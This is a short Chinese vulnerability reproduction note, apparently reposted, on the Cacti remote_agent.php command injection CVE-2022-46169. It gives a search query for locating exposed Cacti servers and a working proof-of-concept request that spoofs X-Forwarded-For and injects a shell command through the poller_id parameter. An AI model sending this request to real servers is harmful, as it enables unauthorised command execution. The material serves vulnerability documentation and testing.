Cacti remote_agent.php 远程命令执行漏洞 CVE-2022-46169

文章目录
  1. Cacti remote_agent.php 远程命令执行漏洞 CVE-2022-46169
  2. 漏洞描述
  3. 漏洞影响
  4. 网络测绘
  5. 漏洞复现

Cacti remote_agent.php 远程命令执行漏洞 CVE-2022-46169

漏洞描述

Cacti是一个服务器监控与管理平台。在其1.2.17-1.2.22版本中存在一处命令注入漏洞,攻击者可以通过X-Forwarded-For请求头绕过服务端校验并在其中执行任意命令。

漏洞影响

✓Cacti < 1.2.17-1.2.22

网络测绘

✓app="Cacti-监控系统"

漏洞复现

登陆页面

img

验证POC

GET /remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`id>1.txt`
X-Forwarded-For: 127.0.0.1

img

img

参考来源:PeiQi-WIKI-Book:https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/f4596359a8b7b31ae4d231eeaec711706b892ed2/docs/wiki/webapp/Cacti/Cacti remote_agent.php 远程命令执行漏洞 CVE-2022-46169.md;原文完整保留。项目要求转载保留版权声明,未经许可不得修改或商用;多篇来源于第三方,权利待核查。